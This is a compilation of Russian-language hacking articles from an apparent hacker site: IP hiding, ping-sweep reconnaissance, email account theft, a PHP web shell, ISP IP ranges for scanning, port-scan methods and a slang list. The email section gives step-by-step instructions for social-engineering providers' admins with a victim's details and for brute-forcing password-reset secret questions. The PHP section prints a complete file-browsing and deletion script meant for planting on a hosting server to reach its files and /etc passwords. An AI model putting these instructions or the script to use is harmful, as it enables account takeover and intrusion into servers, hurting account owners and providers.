flock(DB, 2); @line=; flock(DB, 8); close(DB); $line0="[$thetime[0] $theclock[0]\:$theclock[1]$ampm] (".$lnum.") ". $ENV{REMOTE_ADDR}." ".$ENV{REMOTE_HOST}; $maxline=@line; $maxline=30 if ($maxline>30); open (DB, ">$log") || die "Can't Open $log: $!\n"; flock(DB, 2); print DB ("$line0\n"); for ($i=0; $i) Теперь немного о том, как же защититься от всего этого безобразия. Самый простой способ прикрыться при прогулках по Web - воспользоваться proxy либо службой наподобие Anonymizer, Inc.(http://sol.infonex.com/). Принцип их работы аналогичен - вы напрямую общаетесь только с proxy-сервером, а черную работу по заходу на сайты он делает за вас. Хуже всего дело обстоит с чатами. Проблема в том, что если найти какой-нибудь левый прокси для www достаточно легко, подобный сервис для irc, icq и иже с ними встречается, мягко говоря, очень редко и для простого dialup-пользователя практически недоступен. Именно поэтому большая часть средств для атаки по ip заточена под всевозможные irc-клиенты. Так что бороться тут можно лишь двумя способами. Самый надежный - не использовать их вообще. Более реалистичный - бороться не с причиной, а со следствиями - разыскать свежайшие заплаты и надеяться, что против вашей брони еще не изобрели подходящей пушки. Заинтересовавшимся вопросом приватности в Интернет могу порекомендовать очень хороший сайт "Privacy Issues: Частная жизнь в Интернете" (http://www.tamos.com/privacy/ru/), целиком посвященный этой теме. Помимо вопросов анонимности в WWW и IRC (расписанных весьма подробно), здесь рассматриваются способы установления личности по адресу электронной почты, даются краткие рекомендации по использованию криптографических средств, здесь же программа для подсматривания ввода с клавиатуры, несколько приятных ссылок и т.д.


trojan_inside

Прячем свой IP

Прячем свой IP 1) Во-первых, юзаем проксю для своего Internet Explorer. Ищешь себе подходящую проксю, на www.proxychecker.ru . Например, мы нашли 195.141.45.2:1080, значит наша прокся по IP адресу 195.141.45.2 весит на 1080 порту. Заходи в Сервис>Свойства обозревателя... и заходишь на вкладку Подключение, там в списке "Настройка удаленного доступа" выбираешь свое соединение и жмешь Настройка. Ставишь галочку Использовать прокси-сервер и в Адрес пишешь адрес прокси, в нашем случае 195.141.45.2, и в поле порт 1080. Все. Проксю настроил, теперь жмешь OK. Теперь твой IP не виден на HTTP 2) Теперь научимся отправлять анонимное письмо. У меня, как и у многих других сайтов, есть такой сервис, как анонимная отправка письма (аноним мейл). Так вот, там можно указывать чужой ящик отправки, например, support@narod.ru и, самое главное, твой реальный IP не будет виден. К юзеру придет письмо от support@narod.ru и не с твоим реальным IP. 3) Теперь прячем IP в асе. Это не так трудно. Заходим в (на примере русской аси) Главное > Защита и безопасность > Прямое соединение, и там ставим галочку на "Позволить прямое соединение с любым пользователем по вашему разрешению" и нажимаем ОК. Теперь после переподключения твой IP будет виден, как 0.0.0.0 4) Прячем IP на IRC. Чтобы спрятать свой IP, достаточно юзать прокси, итак, начнем с прокси. Заходи в mIRC (показываю на примере 6.03 русской версии). Там выбирай в Подключение > Прокси. В поле Прокси для, выбери Обоих. В поле Протокол, выбери Socks4. В поле сервер пиши 193.147.197.219 или любую другую проксю, которую найдешь. И в поле порт вписывай 1080. Все. Прокся настроена, и теперь твой реальный IP никто не узнает.


Исследование перед взломом

INTRO

C чего начинается грамотный взлом? Правильно, со сбора информации о жертве. Одним из этапов сбора инофрмации сбора данных является изучение структуры сети, а одним из этапов изучения сети является автоматизированное прослушивание с помощью небезызвестной для тебя утилиты ping. по диапазону IP-адресов. Цель такого прослушивания – определение, имеется ли у отдельных компьютеров подключение к Internet.

Работа ping

Как же работает эта утилита? Все очень просто: она отправляет ICMP-пакеты (echo) на ip-адрес и ожидает ответа от этого компьютера (echo_reply). Если ответ получен, значит комп поджключен е сети.

Прослушивание с помощью ping

Для выполнения ping-прослушивания есть куча средств, как для Windows, так и для *nix. Итак, начнем с *nix

*nix прослушивание

Из огромного количества ping-утилит очень большое распространение получила утилита fping (http ftp://ftp.neic.nsk.su/pub/OpenBSD/2.9/packages/alpha/fping-1.20.tgz). Она и есть самое надежное и проверенное временами средство. Чем же она так себя зарекомендовала? Помнишь, Horrific как-то писал про сканер, что он должен посылать запросы сразу на несколько портов и ожидать от них ответа, что ускоряло работу. Так вот fping работает по такому же принципу. Утилита не ждет ответа от компа, а сразу посылает еще запросы. Таким образом скорость у этой утилиты велика. Ну теперь передем к практике.

Неплохо было бы записать все ip-шники компов, которые надо прослушивать, в отдельный файл. Например записываем в файл ip.txt строки. Запомни, каждый адрес должен занимать одну строку:
212.58.193.0
212.58.193.1
212.58.193.2
…
212.58.193.255

Теперь пускаем в ход нашу прогу:
[cscript]$ fping –f ip.txt
212.58.193.0 is alive
212.58.193.1 is alive
212.58.193.2 is alive

Теперь немного о параметрах программы.

Параметром –f мы дали программе команду считывать ip-адреса из файла, имя котрого написали далее. Есть еще параметр –а с помощью которого можно включить режим, в котором выводится инфа об активных на данный момент компьютерах в сети. Если нам нужна информация об именах узлов, то пишем параметр –d. О всех параметрах можно узнать указав параметр –h.

Есть еще масса утилит для ping-прослушивания под *nix… Очень распространена утилита nmap, но она более всеохватывающая, хотя и не плохо выполняет прослушивание.

Win-прослушивание

Видоузятников тоже не обошли вниманием. Тут тоже не мало утилит подобного рода. Расскажу немного о pinger’e от команды Rhino9 (http://www.nmrc.org/files/snt/). Почему именно эту утилиту я взял? Потому что она, как и предыдущая *nix-овская является одной из самых быстрых в своем классе. Работает она также как и fping. Задаем начальный ip и конечный, задаем timeout и жмем Ping. После прослушивания можно сохранить результат.

Еще одна ping утилита – PingSweep от SolarWinds. У нее еще выше скорость, чем у ping от Rhino9. Объясняется это тем, что программа дает установить время задержки между передаваемыми пакетами. Для быстроты прослушивания можно установить задержку 0. Теперь попробуй с какой скоростью будет идти ping.

Среди других утилит хорошей мощью обладают ping в таких программах как NetScanTools и ShadowScan.

TCP-прослушивание

Но как известно не все админи – лохи :) Администратор может без проблем блокировать сообщения ICMP. Как же быть тогда? Существуют и дополнительные средства прослушивания, но по сравнению с ping они не так эффективны. Например можно выявлять компы, подключенные к сети, с помощью сканера портов. Но сам понимаешь, сканировать каждый ip это глупо.

Вернемся к nmap. Эта утилита не ограничивается ping’ом и сканером портов. У нее есть такой полезный режим как TCP ping scan, т.е. прослушивание методом сканирования. Этот режим включается параметром –pt и указанием порта. Порт обычно выбирают 80, т.к. в подавляющем большинстве случаев именно этот порт используется в сети для обмена данными через пограничные маршруты. При работе утилита рассылает всем узлам сети пакеты ACK, а затем ожидает пакета RST. Если пакет поступил, значит узел подключен к Internet.

Идем дальше. Есть специальные утилиты для TCP-прослушивания. Например *nix-овая утилита hping. Ее большой плюс состоит в том, что она может «протиснуть» пакет даже через некоторые устройства блокирования. Поэтому hping может слдужить не только для TCP-прослушивания, но и предоления блокираторов. Каждый отдельный пакет и все пакеты в целом могут дать ясную картину об используемых брандмауэрах.

ИТОГО

Отметим, что ICMP- и TCP-прослушивание позволяет нам точно понять какие компьютеры подключены к Internet. Выявление подключенных узлов является строением каркаса для взлома, который будет необходим в дальнейшем. Прослушиванием мы значительно сужаем круг поиска, что позволяет сэкономить время и силы.

Защита от прослушивания

Выше мы поняли, что прослушивание является полезным действием перед взломом. Значит от него надо и уметь защититься. А защита – блокирование прохода пакетов.

Но неплохо бы и уметь выявлять факт прослушивания. Для *nix-ов есть немалое количество утилит для выявления прослушивания. А вот с Woindows проблемы. Разве что я бы отметил пакет Genius, который блокирует TCP-сканирование, но понятно, что эта защита не существенна. Еще одним пакетом является BlackIce (http://eng.uzsci.net/download/BlackIce/blackice21.zip). Эта программа позволяет выявить факт прослушивания, сканирования портов и т.п.

С иксами проще. Я не буду рассказывать про эти утилиты, потому что это уже другая история… Главное в моей статье был рассказ о прослушивании, я думаю все было понятно.
Scanlogd [http://www.openwall.com/scanlogd]
Courtney 1.3 [ftp://ftp.neic.nsk.su/pub/OpenBSD/2.9/packages/alpha/courtney-1.3.tgz]
Ippl 1.4.10 [http://pltplp.net/ippl]
Protolog 1.0.8 [http://jim.westa.ru/files/Linuxprog/linux/protolog-1.0.8.tar.gz]
Хочу заметить, что ссылки время от времени умирают :)

Ну а если будут впоросы, то пиши: crazy_script@mail.ru

В статье использовались материалы из кинги С.Мак-Клара «Секреты Хакеров»


Взлом мыла

Один из самых простых

Пишите владельцу мыла какое нить письмо, все равно с каким содержанием, но лишь бы хозяин мыла ответил. Если это какой нить "чудо-крутой хакер", то что нить типа: "Слушай, а ты в натуре можешь сайт сломать??? http://www.microsoft.com/ не твоя работа???" и так далее в этом духе...;-) Если Веб-мастер, то что нить типа: "Мне так нравится как ты пишешь! А у тебя JAVA-скрипта нету, что б он там что то делал???"...По фигу ЧТО, главное что б от него назад ответ пришел. В принципе эта вся процедура была только для того, что б узнать ИМЯ_ФАМИЛИЮ (или ник) и место расположения "клиента". То бишь если по ентому мылу находится аська, то смотрим инфу в аське, город (если не прописан в аське, то по ИП), имя, возраст и зип. Потом пишешь админу мыльного сервака (у любой мыльной системы есть админ, и у 99% www-шные сервера), обычно это адреса admin@provider.com и support@provider.com. Так вот... Пишешь письмо (очень желательно через www-браузер, например от www.mail.ru или www.hotmail.com) и через анонимную проксю. Это для того что б в заголовке пакета был ИП прокси. Так.... для секьюрити... ;-) Так вот. В теле письма пишешь, что так и так... Злобные хакеры украли у тебя мыло, а тебе очень нравится их служба, сервис, скорость работы, безглючность и все такое... Что ты никогда не променяешь ихний сервис, и что они вообще самые крутые мыльщики! Указываешь ИМЯ, ФАМИЛИЮ, ЗИП, ГОРОД, Телефон (от балды) или что они там еще просят.... Ессено назад придет письмо, что "Информация не совпадает с введенной при регистрации и все такое...". Но ты будь настойчивей! Пиши назад, что ТО_ЧТО_ТЫ_ИМ_ВЫДАЕШЬ - ЕДИНСТВЕННАЯ ВЕРНАЯ ИНФОРМАЦИЯ о ТВОЕМ аккаунте! И повторяешь им ту же инфу, что и первый раз. И так пока админ не сломится...но не забывай каждый раз расхваливать их сервис! ;-) Обычно раз на 7-10 прокатывает... ;-) У меня был даже раз случай, когда один буржуйский админ "отдал" мне мыло, где (как потом оказалось) инфа прописанная в мыле ВООБЩЕ не соответствовала той что я ему ВЫДАВАЛ якобы за владельца аккаунта! Так что дерзайте, тут главное БОЛЬШЕ фантазии и упорства! Но и о безопасности не забывайте!

Второй способ
Посложнее, но все равно общедоступный. Почти в каждом мыльном сервисе есть служба что типа "Foggot Password?" Так вот...Заходим туды (предварительно не забыв изменить атрибуты филе cookie_для_этой_службы на ReadOnly). Там обычно ОЧЕНЬ простые вопросы... Если повезет , то вопрос будет (к примеру на мыло.ру) "В каком городе ты родился"? В первом способе описано как узнавать город юзверя по мылу , так что на этом не бум останавливаться .Ну и вопросы бывают "кустомайзские"- типа "2000" , ответ обычно такойже..;-) А вот если что нить типа "Как зовут мою собаку?" , то читай ниже...
Открываем эту страницу (ну где вводить надо ответ на секретный вопрос , не догоняешь что ль???;-)) итам в HTML-просмотре ищем строчкутипа : form action="/cgi-bin/3970.dll?secquest" итд... Так вот... Если урл мыла http://www.mail.ru , то полный урл места куда отправляется"секретный ответ" будет http://www.mail.ru/cgi-bin/3970.dll?secquest. Этот урл вводишь вместе с индефикатором Вопроса в программу типа WWWHack. Идентификатор вопроса находится там же где и form action="/cgi-bin/3970.dll?secquest, только чуть дальше . Потом в эту программу или загружаешь встроенный wordlist c паролями или пишешь свой по конкретной тематике, это зависит от вопроса . И вперед! Запускаешь и ждешь...
Так что тут тоже нужно терпение и хоть базовые знания HTML.


Взлом через PHP-скрипт

Данная атака на сервер проходит со 100% гарантией. Для успешной атаки взломщику необходимо дисковое пространство на сервере размером в 10 Kb (столько весит скрипт) и возможность запустить свой PHP скрипт. Далеко не секрет, что хакеры очень часто проникают в систему используя социнженерию, тоесть изначально подготавливают жертву, чтобы та им доверяла, получают от неё информацию и осуществляют взлом. Поэтому раздобыть на любом сервере небольшое дисковое пространство для хакера не проблема. В крайнем случае можно и купить себе домен на сервере провайдера или любой другой хостинговой компании, которую хакер собирается взломать.
В большей части взлому подвержены бесплатные хостинговые компании и провайдеры, которые при регистрации доступа в интернет дают бесплатное место для размещение домашней странички пользователя с запуском собственных PHP скриптов.
Идея реализации атаки заключается в том, чтобы залезть на жесткий диск провайдера и иметь возможность управлять файлами, тоесть удалять, просматривать, редактировать. Для этого нам придётся написать небольшой скрипт, который получит доступ к ресурсам сервера. Для начала определим какими функциями должен обладать скрипт: заложим в него функции удаления выбранных файлов, скрипт должен уметь просматривать картинки, открывать каталоги, выставлять права доступа к файлам, знать когда файл был создан в системе, когда файл был изменён, к какой группе относится файл и выставлять соответствующую иконку для удобства, переходить из каталога в каталог, указывать полные пути до файлов:

<?php //говорим
        что это PHP скрипт
function cmp( $a, $b ) //обьявляем
        функции
{
GLOBAL $sort; //сортируем полученные
        функции

if( $a->inode == $b->inode )
return 0;

switch( $sort ) //объявляем , что по
        каким функциям будет
        сортироваться
{
case "size":
return ($a->size > $b->size) ? -1 : 1;
case "type":
return strcmp($a->type, $b->type);
case "view":
return strcmp($a->view, $b->view);
case "atime":
return ($a->atime > $b->atime) ? -1 : 1;
case "ctime":
return ($a->ctime > $b->ctime) ? -1 : 1;
case "mtime":
return ($a->mtime > $b->mtime) ? -1 : 1;
case "group":
return strcmp($a->group, $b->group);
case "inode":
return ($a->inode > $b->inode) ? -1 : 1;
case "owner":
return strcmp($a->owner, $b->owner);
case "perms":
return ($a->perms > $b->perms) ? -1 : 1;
case "ext":
return strcmp($a->ext, $b->ext);
case "name":
default:
return 1;
}
}

function getIcons( $ext ) //объявляем
        функцию сопоставления иконки с
        типом файла
{
switch( $ext )
{
case "dir":
$file = "dir";
break;
case "link":
$file = "link";
break;
case "zip":
case "tgz":
case "gz":
case "Z":
$file = "compressed";
break;
case "gif":
case "jpg":
$file = "image2";
break;
case "dvi":
$file = "dvi";
break;
case "":
case "exe":
$file = "binary";
break;
case "sh":
case "php":
case "php3":
case "sql":
case "inc":
case "js":
$file = "script";
break;
case "txt":
$file = "text";
break;
case "html":
case "shtml":
case "phtml":
$file = "world1";
break;
default:
$file = "generic";
break;
}

return $IMG="<IMG SRC='icons/".$file.".gif'>";
}

class MyFile { //объявляем какие
        данные будут получены
var $name;
var $path;
var $type;
var $ext;
var $stype;
var $sfile;
var $size;
var $file;
var $atime;
var $ctime;
var $mtime;
var $group;
var $inode;
var $owner;
var $perms;

function set( $filename, $path )
{
GLOBAL $cd; //объявляем функции
        перехода по каталогам

$this->name = $filename;
$this->path = $path;
$this->file = $this->path."/".$this->name;

$this->type = filetype( $this->file );
$this->size = filesize( $this->file );
$this->atime = fileatime( $this->file );
$this->ctime = filectime( $this->file );
$this->mtime = filemtime( $this->file );
$this->group = filegroup( $this->file );
$this->inode = fileinode( $this->file );
$this->owner = fileowner( $this->file );
$this->perms = fileperms( $this->file );

switch( $this->type )
{
case "link":
$this->sfile = readlink( $this->file );
$this->stype = filetype( $this->sfile );
$this->ext = "link";
break;
case "file":
$list = explode( ".", $this->name );
$nb = sizeof( $list );
if( $nb > 0 )
$this->stype = $list[$nb-1];
else
$this->stype = "???";

$this->ext = $this->stype;

switch( $this->stype )
{
case "gif":
case "GIF":
case "jpg":
case "JPG":
if( isset( $cd ) )
$pwd = $cd."/";
else
$pwd = "";

$this->sfile = "<IMG SRC='".$this->file."'>";
break;
default:
$this->sfile = $this->stype;
break;
}
break;
default:
$this->stype = "";
$this->sfile = "";
$this->ext = $this->type;
break;
}
}

function formatSize()
{
return number_format( $this->size, 0, ".",
        " ");
}
}

function genUrl( $ref, $args, $key = "", $val =
        "" )

{
$valist = "";

reset( $args );

if( $key != "" )
$args[ "$key" ] = $val;

if( !is_array( $args ) )
return $ref;

while( list( $key, $val ) = each( $args ) )
{
if( $val == "" )
continue;

if( $valist == "" )
$valist .= "?";
else
$valist .= "&";

$valist .= $key."=".$val;
}
return $ref.$valist;
}

function updir( $path )
{
$last = strrchr( $path, "/" );
$n1 = strlen( $last );
$n2 = strlen( $path );
return substr( $path, 0, $n2-$n1 );
}

$ref = "dir.php";

if( isset( $cd ) )
{
$path = $cd;
//$lcd = "?cd=$cd'";
$args[ "cd" ] = $cd;
}
else
{
$path = ".";
//$lcd = "";
$args[ "cd" ] = "";
}

if( isset( $nb ) )
{
for( $i = 0; $i < $nb; $i++ )
{
$var = "id_$i";
if( isset( $$var ) )
{
$file = $path."/".$$var;
if( is_file( $file ) || is_link( $file ) )
{
if( unlink( $file ) )
echo "<BR><b>$file</b>
        успешно удалён\n"; //сообщение
        об успешном удалении файла
else
echo "<BR>Не могу удалить
        выставите права доступа
        <b>$file</b>\n"; //сообщение о
        невозможности удалить файл
        который доступен только для
        чтения
}
elseif( is_dir( $file ) )
{
if( rmdir( $file ) )
echo "<BR><b>$file</b>
        успешно удалён\n"; //сообщение
        об успешном удалении
else
echo "<BR>файл недоступен для
        удаления<b>$file</b>\n"; //сообщение
        о невозможности удалить файл
}
}
}
}

$step = 100;

if( !isset( $sort ) )
$sort = "name";
else
$args[ "sort" ] = $sort;

if( !isset( $from ) )
$from = 0;
else
$args[ "from" ] = $from;

if( !isset( $to ) )
$to = $from + $step;

$d = dir($path);
echo "\n";
echo "<br><a href=$ref >Вернуться
        в начало</a>\n"; //ссылка на
        возврат в домашнею директорию
        скрипта
$updir = updir($d->path);
if( $updir != "." )
echo "<br>Подняться на
        директорию вверх; <a href=$ref?cd=$updir>$updir</a>\n";
        //ссылка на директорию вверх
echo "<br>Открыть директорию:
        <a href=$ref?cd=".$d->path."/..>..</a>\n";
        //обновление текущей
        директории
echo "<br>Текущая директория:
        <b>".$d->path."</b>\n"; //показываем
        путь до директории и файлов,
        которые в ней находятся

$n = 0;
while( $entry=$d->read() )
{
$lFiles[ $n ] = new MyFile;
$lFiles[ $n ]->set( $entry, $path );
$n++;
}

$d->close(); //создаём HTML форму
        управления функциями
echo "<FORM NAME='del' METHOD='post' ACTION='".genUrl(
        $ref, $args )."'>\n";
echo "<TABLE BORDER=1>\n";
echo "<TR>\n";
echo "<TH>D</TH>\n";
//echo "<TH><a href='".genUrl( $ref,
        $args, "sort", "type" )."'>Type</a></TH>\n";
echo "<TH><a href='".genUrl( $ref,
        $args, "sort", "name" )."'>Имя</a></TH>\n";
echo "<TH><a href='".genUrl( $ref,
        $args, "sort", "size" )."'>Размер</a></TH>\n";
echo "<TH><a href='".genUrl( $ref,
        $args, "sort", "ext" )."'>Класс</a></TH>\n";
echo "<TH><a href='".genUrl( $ref,
        $args, "sort", "atime" )."'>В
        системе</a></TH>\n";
echo "<TH><a href='".genUrl( $ref,
        $args, "sort", "ctime" )."'>Создан</a></TH>\n";
echo "<TH><a href='".genUrl( $ref,
        $args, "sort", "mtime" )."'>Изменён</a></TH>\n";
echo "<TH><a href='".genUrl( $ref,
        $args, "sort", "perms" )."'>Размер</a></TH>\n";
echo "<TH><a href='".genUrl( $ref,
        $args, "sort", "group" )."'>Группа</a></TH>\n";
echo "<TH><a href='".genUrl( $ref,
        $args, "sort", "owner" )."'>ow</a></TH>\n";
echo "<TH><a href='".genUrl( $ref,
        $args, "sort", "inode" )."'>in</a></TH>\n";
echo "<TH>Показ</TH>\n";
echo "</TR>\n";

@usort( $lFiles, cmp );

for( $i = 0; $i < $n; $i++ )
{
if( ( $i < $from ) || ( $i >= $to ) )
continue;

$k = $i;
echo "<TR>\n";
echo "<TD><INPUT TYPE='checkbox' NAME='id_$k'
        VALUE='".
$lFiles[ $k ]->name
."'></TD>\n";

$IMG=getIcons( $lFiles[ $k ]->ext );

$dform = "M j y H:i";
// echo "<TD ALIGN=CENTER >".$lFiles[ $k
        ]->type."</TD>\n";
echo "<TD>$IMG".$lFiles[ $k ]->name."</TD>\n";
echo "<TD ALIGN=RIGHT >".$lFiles[ $k ]->formatSize()."</TD>\n";
echo "<TD>".$lFiles[ $k ]->ext ."</TD>\n";
echo "<TD>".date( $dform, $lFiles[ $k ]->atime
        )."</TD>\n";
echo "<TD>".date( $dform, $lFiles[ $k ]->ctime
        )."</TD>\n";
echo "<TD>".date( $dform, $lFiles[ $k ]->mtime
        )."</TD>\n";
echo "<TD>".$lFiles[ $k ]->perms."</TD>\n";
echo "<TD>".$lFiles[ $k ]->group."</TD>\n";
echo "<TD>".$lFiles[ $k ]->owner."</TD>\n";
echo "<TD>".$lFiles[ $k ]->inode."</TD>\n";

switch( $lFiles[ $k ]->type )
{
case "link":
if( $lFiles[ $k ]->stype == "dir" )
{
$tcd = $lFiles[ $k ]->path."/".$lFiles[ $k
        ]->name;
echo "<TD><a href='".
genUrl( $ref, $args, "cd", $tcd )."'>".
$lFiles[ $k ]->sfile."</a></TD>\n";
}
else
echo "<TD>".$lFiles[ $k ]->sfile."</TD>\n";
break;
case "dir":
$tcd = $lFiles[ $k ]->path."/".$lFiles[ $k
        ]->name;
echo "<TD><a href='".
genUrl( $ref, $args, "cd", $tcd )."'>".
$lFiles[ $k ]->name."</a></TD>\n";
break;
case "file":
echo "<TD>".$lFiles[ $k ]->sfile."</TD>\n";
break;
default:
echo "<TD>NO</TD>\n";
break;
}
echo "</TR>\n";
}

echo "</TABLE>\n";

$from = $from - $step;
if( isset( $cd ) )
{
echo "<INPUT TYPE='hidden' NAME='cd' VALUE='$cd'>\n";
}
echo "<INPUT TYPE='hidden' NAME='nb' VALUE='$n'>\n";

//echo "<br>from=$from;to=$to;n=$n\n";
echo "<br>\n";
if( $from >= 0 )
{
echo "<a href='".
genUrl( $ref, $args, "from", $from )."'
        >Предыдущий</a>/\n";
}
if( $to <= $n )
{
echo "<a href='".
genUrl( $ref, $args, "from", $to )."' >Далее</a>
        \n";
}
echo "<br>\n";
echo "<INPUT TYPE='submit' VALUE='Del'>\n";
echo "</FORM>\n";
?> //говорим что PHP скрипт
        кончился

Вот реализация скрипта, который позволяет вам получить доступ в каталоги провайдера, содержащиеся у него на винчестере. Потенциальная опасность применения данного скрипта в том, что злоумышленник получает практически всю информацию о сервере, также злоумышленник получает доступ к папки etc, где хранятся пароли. При проверке работоспособности скрипта и проверке на уязвимости было выявлено, что все сервера, на которых разрешён запуск PHP оказались подвержены данной атаке. Скрипт помещяется на сервер провайдера, где вам разрешен запуск PHP скриптов, в директорию домашней странички. По умолчанию скрипт просматривает все находящиеся файлы в той директории, куда он был загружен для того, чтобы попасть в корневой каталог сервера жмите на ссылку "Подняться на каталог выше" до тех пор, пока вы не увидите корневой каталог сервера. При выходе из вашей директории скрипт возможно сообщит вам о невозможности выйти из вашего каталога, это сообщение сервера игнорируйте и жмите на ссылку "Подняться на каталог вверх", скрипт передаст данные серверу о том, что каталоги которые вы пытаетесь просмотреть являются вашими и вас пропустят.


Диапозоны IP-адресов

Эта справочная информация поможет вам насканить себе инета. Диапазоны IP-адресов и название прова я выложил, а всю остальную инфу (телефоны, наличие АОНов и т.д.) вы сожете найти на сайте провайдера сами. Ближе к делу:

Название прова | Диапозоны IP-адресов
MTU | 62.118.128.* - 62.118.159.*
 | 212.188.19.*
 | 212.188.96.* - 212.188.111.*
 | 212.188.103.*
 | 195.34.37.*, 195.34.61.*
 | 192.168.10.*
 | 195.34.61.*
Zebra | 213.145.32.0 - 213.145.47.255
ROL | 195.239.*.*
 | 212.46.240.0 - 212.46.255.255
 | 195.218.132.*, 195.239.68.*
 | 195.239.0.1-195.239.7.255
 | 195.46.161.1-195.46.175.255
Tascom | 217.26.0.*-217.26.9.*
CNT | 212.15.118.* - 212.15.120.*,
 | 213.85.117.*-213.85.122.*
COMSTAR | 212.248.4.*-212.248.7.*
 | 195.210.130.*-195.210.133.*
 | 212.248.120.*
Arstel | 195.133.205.*
 | 212.248.5.*
 | 194.87.6.*
 | 195.28.32.*
 | 169.254.76.*
ROSNET | 195.90.132.*
Avallon | 212.176.20.*
ORC.RU | 212.48.130.*-212.48.131.*
ASVT | 212.46.0.*
IPC | 195.218.161.*
RINET | 195.54.192.*
 | 195.91.140.*
 | 195.91.141.*
com2com | 195.98.160.*
GLASNET | 195.218.251.*
 | 195.90.128.*
 | 194.154.81 .*
 | 195.90.132.*
 | 194.154.91.*
 | 195.218.128.*
 | 195.90.130.*
Microdin | 195.128.72.*
CORBINA | 195.14.32.*
adicom | 212.248.74.*
Netline | 195.34.20.*
Demos |
PlusNet | 195.2.81.*
Magelan | 212.11.193.*
comtel | 195.208.64.*
IP COM | 195.222.180.*
COL.RU | 195.210.132.*
Transinform | 213.156.129.*
zenon | 195.2.64.1-195.2.90.255 (79-81,89)
PTT | 195.34.27.*-195.34.30.*
CARAVAN | 212.158.178.*-212.158.179.*
INFOTEL | 195.170.202.*
CITYLINE | 195.46.160.0 - 195.46.178.255
SYNCHROLINE | 212.24.44.*
OCC |
UUNET | 195.232.59.*
 | 195.232.0.0 - 195.232.127.255
IteraNet | 212.74.224.0 - 212.74.233.63
Compuserve | 212.211.*.*, 216.192.*.*
 | 195.232.16.*-195.232.64.*
CentroNet | 213.171.48.0 - 213.171.48.255
Elvis-Telecom | 194.190.193.* - ?????????????
 | 192.168.100.* - ???. ????
DDNET (IPASS) | 195.71.76.0 - 195.76.77.255
mindspring.com/earthlink.net | 199.174.252.0-199.174.255.255
ROSPRINT | 212.176.0.0 - 212.176.255.255
 | 195.151.155.0 - 195.151.155.255
plala | 202.212.*.*
Teleintercom | 81.89.64.0 - 81.89.68.63
TELECORENET | 213.135.64.0 - 213.135.64.255
????? | 212.46.0.0 - 212.46.0.255
RosPrint | 195.151.155.*
 | 195.151.150.1 - 195.151.160.255
 | 194.84.28.1 - 194.84.35.255
 | 194.84.253.*
 | 195.133.0.1 - 195.133.255.255
 | 195.151.116.*

Удачного вам скана =))

Автор: Поярков Илья aka Terabyte


Сканирование портов
Иногда у вас может возникнуть потребность узнать какие сервисы предоставляет определенный хост. Для этого существует ряд различных программ сканирования портов.

Простейший вариант - это программы типа SATAN (Security Analysis Tool for Auditing Networks), которые устанавливают соединение с каждым TCP-портом, открывая полное TCP-соединение. Преимущества этого метода заключаются в том, что пользователю, занимающемуся сканированием, не нужно самому составлять ip-пакет, который будет использован для сканирования, потому что он использует стандартные системные вызовы, и ему не нужен доступ администратора ( обычно нужен, чтобы использовать SOCK_RAW или открывать /dev/bpf, /dev/nit и т.д.). Недостатком этого метода заключается в том, что его легче обнаружить, причем несколькими способами,в частности TCP Wrapper'ами by Wietse Venema. Для устранения этого недостатка были придуманы методы сканирования без установления полного TCP-соединения, т.н. 'полуоткрытое сканирование'.

Процесс установки TCP-соединения состоит из трех фаз: сторона, устанавливающая соединение, сначала посылает TCP-пакет с установленным флагом SYN, после чего принимающая сторона посылает TCP-пакет с установленными флагами SYN и ACK в случае, если порт открыт, или сбрасывает соединение с флагом RST если порт не активен. Третья фаза происходит когда сторона,устанавливающая соединение,посылает финальный TCP-пакет с установленным флагом ACK ( само собой все эти пакеты имеют соответствующие sequence- и ack-номера, и т.д. ). Теперь соединение установлено.

Сканирования с SYN-флагом.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SYN-сканер посылает только первый пакет из трех и ждет SYN|ACK или RST. Когда он получит либо то, либо другое, он будет знать, активен этот порт или нет. Основное преимущество этого метода заключается в том,что он не обнаруживается программами типа "SATAN" или TCP Wrappers by Wietse Venema. Основные недостатки этого метода:

Этот метод обнаруживается некоторыми программами,которые проверяют попытки коннекта с SYN-флагом ( например tcplog ), а также он обнаруживается netstat(1)'ом.

Сторона,устанавливающая соединение, обычно должна составлять весь IP-пакет. Для этого необходимо иметь доступ к SOCK_RAW ( в большинстве операционных систем: getprotbyname('raw') ) или /dev/bpf (Berkeley Packet Filter), /dev/nit (Sun 'Network Interface Tap') и т.д. Для этого необходимо, как правило, иметь уровень администратора.

Stealth-сканирование.
~~~~~~~~~~~~~~~~~~~~~~~~
Этот метод основан на некорректном сетевом коде в BSD. Учитывая то,что в большинстве операционных систем используется BSD'шный сетевой код или производный от него,этот способ работает на большинстве систем ( наиболее очевидное исключение - маршрутиризаторы Cisco ). Этот метод трудно обнаружить. Даже зная сам метод, разработка обнаруживающего алгоритма весьма проблематична без устранения самой ошибки. Недостатки этого способа: Этот метод основан на ошибках в сетевом коде. Это значит, что возможно, а точнее скорее всего, эти ошибки будут исправлены. Например в OpenBSD это уже исправлено. Нельзя поручиться, что этот способ будет нормально работать в конкретной обстановке. Результаты могут быть разными в зависимости от платформы и операционной системы, т.е. этот способ не вполне надежен.

Используются TCP пакеты с установленными ACK и FIN флагами.Их надо использовать,потому что,если такой пакет послать в порт при неоткрытом соединении,всегда возвратится пакет с флагом RST. Существуют несколько методов, использующих этот принцип:

метод #1:

Послать FIN-пакет. Если принимающий хост возвращает RST, значит порт неактивен,если RST не возвращается, значит порт активен. Учитывая тот факт, что этот метод работает на таком количестве хостов, это - грустное свидетельство тому, какой некорректный сетевой код в большинстве операционных систем.

метод #2

Послать ACK-пакет. Если TTL возвращаемых пакетов меньше, чем в остальных полученных RST-пакетах, или если размер окна больше нуля, то скорее всего порт активен.


Хакреский сленг

Хакерский сленг:

Компьютер – комп, тачка, железный друг, железный конь.

Клавиатура – клава, кейборд.

Мышка - мышь, крыса, маус.

Коврик для мыши – мышкодром, крысодром.

ОЗУ – память, мозги, димы, симы, римы.

Процессор – камень, проц, кристалл, кремень, CPU, мозг.

Звуковая карта - звуковуха, саунд, саундбластер.

Модем – момед.

Винчестер – хард, винт, жестянка, блин, хардрайв.

Материнская плата – мамка, мать.

Монитор – дисплей, монька, моника, моня, экран.

CD-ROM – сидюк, подставка для кофе, вертушка.

CD – сидюк, одноглазый, болванка (одноразовый диск для CD-R), блин.

Дисковод - флоповод.

Дискетка – флопарь, флоп, трёхдюймовка/трёхдюймовочка.

Шнур – интерфейс, шнурок.

Какое-то компьютерное устройство – девайс, железка.

Парень – перец, крендель, дядька, амиго, пельмень, чел.

Девочка – пельмешка, матрёшка, лапочка.

Хакер – хацкер, ксакеп, hax0r, 31337, Ветеран 139 порта.

